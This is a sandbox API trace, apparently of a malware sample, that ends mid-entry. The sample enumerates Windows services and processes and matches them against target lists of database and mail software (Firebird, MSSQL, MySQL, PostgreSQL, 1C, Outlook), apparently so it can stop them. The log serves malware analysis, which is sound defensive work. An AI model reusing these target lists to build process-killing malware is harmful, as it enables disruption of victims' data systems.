1 [0107.608] lstrlenW (lpString="LanmanServer") returned 12 [0107.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0107.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0107.608] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0107.608] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0107.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0107.608] lstrlenW (lpString="LanmanWorkstation") returned 17 [0107.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.608] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0107.608] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0107.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0107.608] lstrlenW (lpString="lmhosts") returned 7 [0107.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0107.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0107.608] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0107.608] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0107.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0107.608] lstrlenW (lpString="MMCSS") returned 5 [0107.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0107.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0107.608] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0107.608] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0107.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0107.608] lstrlenW (lpString="MpsSvc") returned 6 [0107.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0107.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0107.608] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0107.608] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0107.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0107.608] lstrlenW (lpString="Netman") returned 6 [0107.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0107.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0107.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0107.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0107.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0107.608] lstrlenW (lpString="netprofm") returned 8 [0107.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0107.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0107.609] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0107.609] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0107.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0107.609] lstrlenW (lpString="NlaSvc") returned 6 [0107.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0107.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0107.609] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0107.609] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0107.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0107.609] lstrlenW (lpString="nsi") returned 3 [0107.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0107.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0107.609] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0107.609] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0107.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0107.609] lstrlenW (lpString="PcaSvc") returned 6 [0107.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0107.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0107.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0107.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0107.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0107.609] lstrlenW (lpString="PlugPlay") returned 8 [0107.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0107.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0107.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0107.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0107.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0107.609] lstrlenW (lpString="Power") returned 5 [0107.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0107.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0107.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0107.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0107.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0107.609] lstrlenW (lpString="ProfSvc") returned 7 [0107.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0107.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0107.609] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0107.609] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0107.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0107.609] lstrlenW (lpString="RpcEptMapper") returned 12 [0107.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0107.610] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0107.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0107.610] lstrlenW (lpString="RpcSs") returned 5 [0107.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0107.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0107.610] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0107.610] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0107.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0107.610] lstrlenW (lpString="SamSs") returned 5 [0107.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0107.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0107.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0107.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0107.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0107.610] lstrlenW (lpString="Schedule") returned 8 [0107.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0107.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0107.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0107.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0107.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0107.610] lstrlenW (lpString="SENS") returned 4 [0107.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0107.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0107.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0107.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0107.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0107.610] lstrlenW (lpString="ShellHWDetection") returned 16 [0107.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0107.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0107.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0107.610] lstrlenW (lpString="Spooler") returned 7 [0107.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0107.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0107.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0107.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0107.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0107.610] lstrlenW (lpString="SysMain") returned 7 [0107.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0107.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0107.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0107.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0107.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0107.610] lstrlenW (lpString="Themes") returned 6 [0107.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0107.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0107.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0107.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0107.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0107.611] lstrlenW (lpString="TrkWks") returned 6 [0107.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0107.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0107.611] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0107.611] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0107.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0107.611] lstrlenW (lpString="UxSms") returned 5 [0107.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0107.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0107.611] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0107.611] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0107.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0107.611] lstrlenW (lpString="WdiServiceHost") returned 14 [0107.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0107.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0107.611] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0107.611] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0107.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0107.611] lstrlenW (lpString="WdiSystemHost") returned 13 [0107.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0107.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0107.611] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0107.611] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0107.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0107.611] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0107.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0107.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0107.611] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0107.611] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0107.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0107.611] lstrlenW (lpString="Winmgmt") returned 7 [0107.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0107.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0107.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0107.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0107.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0107.611] lstrlenW (lpString="WPDBusEnum") returned 10 [0107.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0107.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0107.611] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0107.612] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0107.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0107.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0107.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0107.613] Process32FirstW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.613] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0107.613] lstrlenW (lpString="System") returned 6 [0107.613] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0107.613] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0107.613] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0107.613] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0107.613] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0107.613] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0107.613] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0107.613] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0107.614] lstrlenW (lpString="smss.exe") returned 8 [0107.614] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0107.614] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0107.614] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0107.614] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0107.614] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0107.614] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0107.614] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0107.614] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.614] lstrlenW (lpString="csrss.exe") returned 9 [0107.614] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0107.614] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0107.614] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0107.614] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0107.614] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0107.614] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0107.614] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0107.614] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0107.614] lstrlenW (lpString="wininit.exe") returned 11 [0107.614] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0107.615] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0107.615] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0107.615] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0107.615] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0107.615] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0107.615] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0107.615] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.615] lstrlenW (lpString="csrss.exe") returned 9 [0107.615] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0107.615] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0107.615] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0107.615] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0107.615] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0107.615] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0107.615] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0107.615] lstrlenW (lpString="winlogon.exe") returned 12 [0107.615] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0107.616] lstrlenW (lpString="services.exe") returned 12 [0107.616] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0107.616] lstrlenW (lpString="lsass.exe") returned 9 [0107.616] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0107.616] lstrlenW (lpString="lsm.exe") returned 7 [0107.616] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.616] lstrlenW (lpString="svchost.exe") returned 11 [0107.616] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.616] lstrlenW (lpString="svchost.exe") returned 11 [0107.617] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.617] lstrlenW (lpString="svchost.exe") returned 11 [0107.617] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.617] lstrlenW (lpString="svchost.exe") returned 11 [0107.617] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.617] lstrlenW (lpString="svchost.exe") returned 11 [0107.617] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0107.618] lstrlenW (lpString="audiodg.exe") returned 11 [0107.618] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.618] lstrlenW (lpString="svchost.exe") returned 11 [0107.618] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.618] lstrlenW (lpString="svchost.exe") returned 11 [0107.618] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0107.618] lstrlenW (lpString="userinit.exe") returned 12 [0107.619] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0107.619] lstrlenW (lpString="dwm.exe") returned 7 [0107.619] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0107.619] lstrlenW (lpString="explorer.exe") returned 12 [0107.619] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0107.619] lstrlenW (lpString="spoolsv.exe") returned 11 [0107.619] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0107.619] lstrlenW (lpString="taskhost.exe") returned 12 [0107.619] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.620] lstrlenW (lpString="svchost.exe") returned 11 [0107.620] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0107.620] lstrlenW (lpString="payload.exe") returned 11 [0107.620] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0107.620] lstrlenW (lpString="reader_sl.exe") returned 13 [0107.620] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0107.620] lstrlenW (lpString="taskhost.exe") returned 12 [0107.620] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: 